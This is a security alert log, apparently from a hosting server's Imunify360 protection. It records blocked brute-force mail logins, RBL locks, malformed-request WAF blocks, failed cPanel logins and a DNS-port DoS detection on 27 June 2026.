Jun 27 21:39:20 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:38:59 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:40:03 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.82.54.116
country_id: 2245662
domain: www.educplusmedia.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.educplusmedia.tghttp/www.educplusmedia.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:39:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:18130: 535 Incorrect authentication data (set_id=mol@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:40:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50114: 535 Incorrect authentication data (set_id=stampa@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.82.54.116
country_id: 2245662
domain: www.educplusmedia.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.educplusmedia.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:40:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:21970: 535 Incorrect authentication data (set_id=stampa@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:40:03 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:40:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:25194: 535 Incorrect authentication data (set_id=projet@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:40:01 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:40:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:44416: 535 Incorrect authentication data (set_id=computer@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:40:11 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.206.82.179
country_id: 2542007
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/kanalfm HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.206.82.179
country_id: 2542007
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/kanalfm HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:41:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:61986: 535 Incorrect authentication data (set_id=envio@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:40:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:62230: 535 Incorrect authentication data (set_id=key@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:40:57 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:40:55 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:40:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:54484: 535 Incorrect authentication data (set_id=court@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:40:58 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:41:06 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:40:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57462: 535 Incorrect authentication data (set_id=happy@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:42:17 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:42:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:41766: 535 Incorrect authentication data (set_id=scanner@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:42:23 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:42:06 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 40.75.131.21
country_id: 6252001
description:
[2026-06-27 21:42:20 +0000] info [cpaneld] 40.75.131.21 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.176.139.80
country_id: 6252001
description:
[2026-06-27 21:42:24 +0000] info [cpaneld] 52.176.139.80 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:42:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:36992: 535 Incorrect authentication data (set_id=szpital@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.241.78.4
country_id: 6252001
description:
[2026-06-27 21:42:28 +0000] info [cpaneld] 96.241.78.4 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:42:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:26200: 535 Incorrect authentication data (set_id=radiology@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:42:17 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:42:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:10136: 535 Incorrect authentication data (set_id=bellevue@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:43:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:12972: 535 Incorrect authentication data (set_id=group1@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:43:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:17308: 535 Incorrect authentication data (set_id=domo@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:43:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:58962: 535 Incorrect authentication data (set_id=cluster@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:43:10 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:42:57 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:42:58 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:42:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50564: 535 Incorrect authentication data (set_id=adwords@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:43:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34290: 535 Incorrect authentication data (set_id=atp@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:43:10 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:43:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:26146: 535 Incorrect authentication data (set_id=atp@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:43:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:35196: 535 Incorrect authentication data (set_id=yl@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:43:55 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:44:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:22448: 535 Incorrect authentication data (set_id=application@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:44:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:33006: 535 Incorrect authentication data (set_id=pastis51@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:44:27 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:43:57 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:44:00 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:44:57 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:45:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:51034: 535 Incorrect authentication data (set_id=kamila@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:45:13 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:45:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:45088: 535 Incorrect authentication data (set_id=wedding@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:44:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:7412: 535 Incorrect authentication data (set_id=rikei@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:44:59 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:45:19 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:45:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:42962: 535 Incorrect authentication data (set_id=kw@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:46:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:18868: 535 Incorrect authentication data (set_id=med@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:46:13 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:46:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:18698: 535 Incorrect authentication data (set_id=jperez@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:46:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:12302: 535 Incorrect authentication data (set_id=wozniak@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:45:56 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:45:56 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:45:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:36146: 535 Incorrect authentication data (set_id=tandem@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:45:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48962: 535 Incorrect authentication data (set_id=imelda@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:46:05 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.135.58.210
country_id: 953987
description:
2026-06-27 21:46:47 dovecot_plain authenticator failed for H=(localhost) [41.135.58.210]:42621: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.210.205.140
country_id: 3017382
description:
185.210.205.140 - - [27/Jun/2026:21:46:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987947&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fle-president-romuald-wadagni%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782596810 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/tag/le-president-romuald-wadagni/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2528.1320 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.210.205.140


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:47:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:65356: 535 Incorrect authentication data (set_id=oil@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:47:28 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:47:03 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:47:09 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:47:00 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:47:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:4378: 535 Incorrect authentication data (set_id=wozniak@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:47:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:55342: 535 Incorrect authentication data (set_id=waqas@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:47:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59300: 535 Incorrect authentication data (set_id=test12@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:48:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:41042: 535 Incorrect authentication data (set_id=tasaka@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:48:04 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:48:05 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.33.204.219
country_id: 3175395
description:
Jun 27 21:48:13 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.33.204.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:47:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:31308: 535 Incorrect authentication data (set_id=1212@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:48:14 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.33.204.219
country_id: 3175395
description:
2026-06-27 21:48:15 dovecot_login authenticator failed for H=net-2-33-204-219.cust.vodafonedsl.it ([195.158.26.59]) [2.33.204.219]:37269: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:48:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:41306: 535 Incorrect authentication data (set_id=2232@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:48:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:19576: 535 Incorrect authentication data (set_id=cei@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:48:21 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:49:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:51768: 535 Incorrect authentication data (set_id=trak@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:49:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:53792: 535 Incorrect authentication data (set_id=badboy12@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:49:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:51798: 535 Incorrect authentication data (set_id=innovacion@ns5.netmaster.tg)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 74.63.18.244
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 74.63.18.244: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:48:58 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:49:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:5322: 535 Incorrect authentication data (set_id=nagano@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:49:07 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:49:21 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:49:03 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.97.15.19
country_id: 3865483
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/videos HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:50:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:27768: 535 Incorrect authentication data (set_id=oslo@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:49:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:46034: 535 Incorrect authentication data (set_id=hurricane@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:49:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:27786: 535 Incorrect authentication data (set_id=arriving@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:49:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:19018: 535 Incorrect authentication data (set_id=tourism@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:50:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:34052: 535 Incorrect authentication data (set_id=publica@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:49:53 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:49:54 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:50:07 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:50:06 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:50:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:64176: 535 Incorrect authentication data (set_id=helena@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
